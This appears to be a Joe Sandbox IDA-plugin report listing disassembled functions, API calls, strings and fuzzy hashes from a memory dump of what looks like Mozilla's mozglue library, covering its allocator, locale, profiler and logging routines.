Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: 613ac8541045aca6472cbc135fb119c95ce4581da0d551e5b0f0ebf025914edb
Instruction ID: 7e65ad259d30df70c29d3f14c7c66cdb9ca51704d43e69770c2b319695adace8
Opcode Fuzzy Hash: 613ac8541045aca6472cbc135fb119c95ce4581da0d551e5b0f0ebf025914edb
Instruction Fuzzy Hash: DE41E275B043998FDF019F68C888BBE3BB5EB59318F490026EA0597741DB75A844CBD2

Function 6CAE7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAE7EA7
malloc.MOZGLUE(00000001), ref: 6CAE7EB3

Part of subcall function 6CAECAB0: EnterCriticalSection.KERNEL32(?), ref: 6CAECB49
Part of subcall function 6CAECAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CAECBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CAE7EC4
mozalloc_abort.MOZGLUE(?), ref: 6CAE7F19
malloc.MOZGLUE(?), ref: 6CAE7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAE7F4D

Strings

d, xrefs: 6CAE7F89

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 2f221a330926b3f4ff96e53ec547af49ff51a5642750eb3ffc9dc73044d62f01
Instruction ID: 16b8385c006224c2be2978b2059e1a340111833a1aab63178afb64235e2c6a15
Opcode Fuzzy Hash: 2f221a330926b3f4ff96e53ec547af49ff51a5642750eb3ffc9dc73044d62f01
Instruction Fuzzy Hash: 9131C361E042989BDB019F78DC049FEB778EF9A218F449629EC4997612FB30A5C8C390

Function 6CAE3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6CAE3EEE
RtlFreeHeap.NTDLL ref: 6CAE3FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6CAE4006
RtlFreeHeap.NTDLL ref: 6CAE40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CAE3CCC), ref: 6CAE40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CAE3CCC), ref: 6CAE40C2
RtlFreeHeap.NTDLL ref: 6CAE4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6CAE3CCC), ref: 6CAE4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6CAE3CCC), ref: 6CAE4157

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 9ca4272df721e54e16ea949ff204f59cf6db2ba0bf3c58208cb9dfb021cca6a6
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 99A19EB1A01205CFDB40CF69C880659B7B9FF4C318F2941A9D909AF752D776E886DBE0

Function 6CB29D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB28273), ref: 6CB29D65
free.MOZGLUE(6CB28273,?), ref: 6CB29D7C
free.MOZGLUE(?,?), ref: 6CB29D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CB29E0F
free.MOZGLUE(6CB2946B,?,?), ref: 6CB29E24
free.MOZGLUE(?,?,?), ref: 6CB29E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CB29EC8
free.MOZGLUE(6CB2946B,?,?,?), ref: 6CB29EDF
free.MOZGLUE(?,?,?,?), ref: 6CB29EF5

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 7041b0fa818e1abf0f4cb491ffd88ac0ed68a04c627bc9d9a76ba43ef88dabb3
Instruction ID: 6d4207fe9922a60b1f1a7a58c74ec5b29469c98b8bbbcb305bc4d776f83e04ba
Opcode Fuzzy Hash: 7041b0fa818e1abf0f4cb491ffd88ac0ed68a04c627bc9d9a76ba43ef88dabb3
Instruction Fuzzy Hash: EE718E70909B818BD712CF18C58056BF7F4FF99315B449619E89E5BB01EB34E8CACB81

Function 6CB2DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CB2DDCF

Part of subcall function 6CB0FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB0FA4B

Part of subcall function 6CB290E0: free.MOZGLUE(?,00000000,?,?,6CB2DEDB), ref: 6CB290FF
Part of subcall function 6CB290E0: free.MOZGLUE(?,00000000,?,?,6CB2DEDB), ref: 6CB29108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB2DE0D
free.MOZGLUE(00000000), ref: 6CB2DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB2DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB2DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB2DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CB1DEFD,?,6CAE4A68), ref: 6CB2DF32

Part of subcall function 6CB2DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB2DB86
Part of subcall function 6CB2DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CB2DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CB1DEFD,?,6CAE4A68), ref: 6CB2DF65
free.MOZGLUE(?), ref: 6CB2DF80

Part of subcall function 6CAF5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAF5EDB
Part of subcall function 6CAF5E90: memset.VCRUNTIME140(6CB37765,000000E5,55CCCCCC), ref: 6CAF5F27
Part of subcall function 6CAF5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAF5FB2

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: c64227e0bb29f3ca4525fd0e72b8610b0b29f6a7498aa74f2c64c202aa30cc1c
Instruction ID: de050b97d9174261db0316e903cf68c6a3c07ce36712a9169c0dcf7f1b14d52c
Opcode Fuzzy Hash: c64227e0bb29f3ca4525fd0e72b8610b0b29f6a7498aa74f2c64c202aa30cc1c
Instruction Fuzzy Hash: 0351A6726016409BDB219F38E8806BEB376FF95318F95051CD85E53B00D739F95ACB92

Function 6CB35D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CB35C8C,?,6CB0E829), ref: 6CB35D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CB35C8C,?,6CB0E829), ref: 6CB35D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CB35C8C,?,6CB0E829), ref: 6CB35D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CB35C8C,?,6CB0E829), ref: 6CB35D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CB35C8C,?,6CB0E829), ref: 6CB35DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CB35C8C,?,6CB0E829), ref: 6CB35DC9
std::_Facet_Register.LIBCPMT ref: 6CB35DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CB35C8C,?,6CB0E829), ref: 6CB35E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CB35C8C,?,6CB0E829), ref: 6CB35E45

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 5bd2f2a32c0c0d38c6248e675c2970317be4b66dccdee856744aba022e019ab3
Instruction ID: 75654083c8a49dbdc718b7539de40a009029c354787a6376da1eb3ccf9bedb77
Opcode Fuzzy Hash: 5bd2f2a32c0c0d38c6248e675c2970317be4b66dccdee856744aba022e019ab3
Instruction Fuzzy Hash: 99418F307002658FCB01DF65C898EAE77B9FF89314F544068E50A9B791EB34EC09CB65

Function 6CB0CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6CAD31A7), ref: 6CB0CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CB0CFA4, 6CB0CFB8
<jemalloc>, xrefs: 6CB0CF9F, 6CB0CFB3

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: cca4e069328eb0639c6f3f0a03d8e369c9aa93da98abe63dfcaf1c1c85d1679d
Instruction ID: 216a60c3df00ea49e62d8ad0688802e782fbc1d520f2941371a0464277411044
Opcode Fuzzy Hash: cca4e069328eb0639c6f3f0a03d8e369c9aa93da98abe63dfcaf1c1c85d1679d
Instruction Fuzzy Hash: 9031B031B402855BEF10AFA98C45BAE7F75EF41B58F744018F610ABA80DB71E8048BB3

Function 6CADECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6CADF100: LoadLibraryW.KERNEL32(shell32,?,6CB4D020), ref: 6CADF122
Part of subcall function 6CADF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CADF132

moz_xmalloc.MOZGLUE(00000012), ref: 6CADED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CADEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6CADEDCC
CreateFileW.KERNEL32 ref: 6CADEE08
free.MOZGLUE(00000000), ref: 6CADEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6CADEE32

Part of subcall function 6CADEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6CADEBB5
Part of subcall function 6CADEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6CB0D7F3), ref: 6CADEBC3
Part of subcall function 6CADEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6CB0D7F3), ref: 6CADEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6CADEDC1

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: f1e855f9e969f9a0f1717e807e97708d944338a6e17d92d3357e3b94d0b63ffa
Instruction ID: 78e07247c7a9f64ec29c32f76c987d2c68eeb66b1c4c30c7aa53f86745f40b2d
Opcode Fuzzy Hash: f1e855f9e969f9a0f1717e807e97708d944338a6e17d92d3357e3b94d0b63ffa
Instruction Fuzzy Hash: 8051D271D053459BDB00DF68C9406EEF7B1AF49318F49852DE8956B740EB34B988C7E2

Function 6CB4A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB4A565

Part of subcall function 6CB4A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB4A4BE
Part of subcall function 6CB4A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CB4A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CB4A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CB4A6B6

Strings

z, xrefs: 6CB4A6AE
0, xrefs: 6CB4A5FB

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: fa3d2a1fbba98c69ce423640dc94862bd84eea15ea7750a8e3d233e8b1fdc34f
Instruction ID: 9c9204102bd78458acbabac19bc1041a4da10eb5afeb1352eea262e2e1225a54
Opcode Fuzzy Hash: fa3d2a1fbba98c69ce423640dc94862bd84eea15ea7750a8e3d233e8b1fdc34f
Instruction Fuzzy Hash: BF4126719087859FC341DF28C080A8FBBE5FF89354F408A2EE49987654EB30E549DB83

Function 6CB19420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CB0AB89: EnterCriticalSection.KERNEL32(6CB5E370,?,?,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284), ref: 6CB0AB94
Part of subcall function 6CB0AB89: LeaveCriticalSection.KERNEL32(6CB5E370,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CB0ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAE4A68), ref: 6CB1945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB19470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB19482
__Init_thread_footer.LIBCMT ref: 6CB1949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CB1946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CB1947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CB19459

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 7f90b89df87ffeca80f6c776fce4ed2151e7d8023295fc8520afa7df27bb32cd
Instruction ID: 7b35ed04317d0972d62b8fdc7354661ffb71f85c895f475477881029d82a3ffb
Opcode Fuzzy Hash: 7f90b89df87ffeca80f6c776fce4ed2151e7d8023295fc8520afa7df27bb32cd
Instruction Fuzzy Hash: D101D474F041818BD7109F6ED811A5A73BAEB0A33DF480936ED0B87F41E621E864899B

Function 6CADB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6CADB61E,?,?,?,?,?,00000000), ref: 6CADB6AC

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CADB61E,?,?,?,?,?,00000000), ref: 6CADB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6CADB61E,?,?,?,?,?,00000000), ref: 6CADB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6CADB61E,?,?,?,?,?,00000000), ref: 6CADB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6CADB61E,?,?,?,?,?,00000000), ref: 6CADB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6CADB61E), ref: 6CADB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6CADB61E,?,?,?,?,?,00000000), ref: 6CADB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6CADB61E,?,?,?,?,?,00000000), ref: 6CADB79A

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 25cc72d902119037f17899e110c599daac01a0cc3012cb4974ad52912875c4b8
Instruction ID: 664b3ce2a645a8cbb0ceaf7590155c42d50a0e65ebc49d8d4a34ad2040f55a1d
Opcode Fuzzy Hash: 25cc72d902119037f17899e110c599daac01a0cc3012cb4974ad52912875c4b8
Instruction Fuzzy Hash: 7441B4B2D001159FCB04DF68EC805AFB7B5BB44324F2A0729E825E7780E731A94487D1

Function 6CB4B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CB4B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CB4B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CB4B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CB4B5F4
__Init_thread_footer.LIBCMT ref: 6CB4B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CB4B61F
std::_Facet_Register.LIBCPMT ref: 6CB4B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB4B655

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 329e7fc1c37a621cbc185f016b8a4fb2db42528188e39322233e92b978dd118f
Instruction ID: eb8492606fd2b15814a4eae2905f000a74bf9a815924b56d123f31cc0b2dc371
Opcode Fuzzy Hash: 329e7fc1c37a621cbc185f016b8a4fb2db42528188e39322233e92b978dd118f
Instruction Fuzzy Hash: AB318F71B00254CBCF00EFA9C8589AEF7B5FF8A324B544559DA06977C0DB31A806CF91

Function 6CB21D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CB21D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CB21BE3,?,?,6CB21D96,00000000), ref: 6CB21D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CB21BE3,?,?,6CB21D96,00000000), ref: 6CB21D4C
GetCurrentThreadId.KERNEL32 ref: 6CB21DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CB21DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CB21DDA

Part of subcall function 6CB21EF0: GetCurrentThreadId.KERNEL32 ref: 6CB21F03
Part of subcall function 6CB21EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CB21DF2,00000000,00000000), ref: 6CB21F0C
Part of subcall function 6CB21EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CB21F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CB21DF4

Part of subcall function 6CAECA10: malloc.MOZGLUE(?), ref: 6CAECA26

Memory Dump Source

Source File: 00000000.00000002.2448053388.000000006CAD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAD0000, based on PE: true

Associated: 00000000.00000002.2448035475.000000006CAD0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448113306.000000006CB4D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448139409.000000006CB5E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2448159128.000000006CB62000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cad0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 522a2e2748f07ec54353cf346872d6ef270a34375a4ce7c4e8ec5c384d5d5ca4
Instruction ID: 7a2ad9421e03e01dc2ac11fc8ff2eb9136b56eb5a066c61259865a921d4054d7
Opcode Fuzzy Hash: 522a2e2748f07ec54353cf346872d6ef270a34375a4ce7c4e8ec5c384d5d5ca4
Instruction Fuzzy Hash: 8C4188B52007449FCB10DF29C488A6ABBF9FB89314F54442EE99A87B41CB35F854CB91

Function 6CB184E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB184F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB1850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB1851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CB1855B
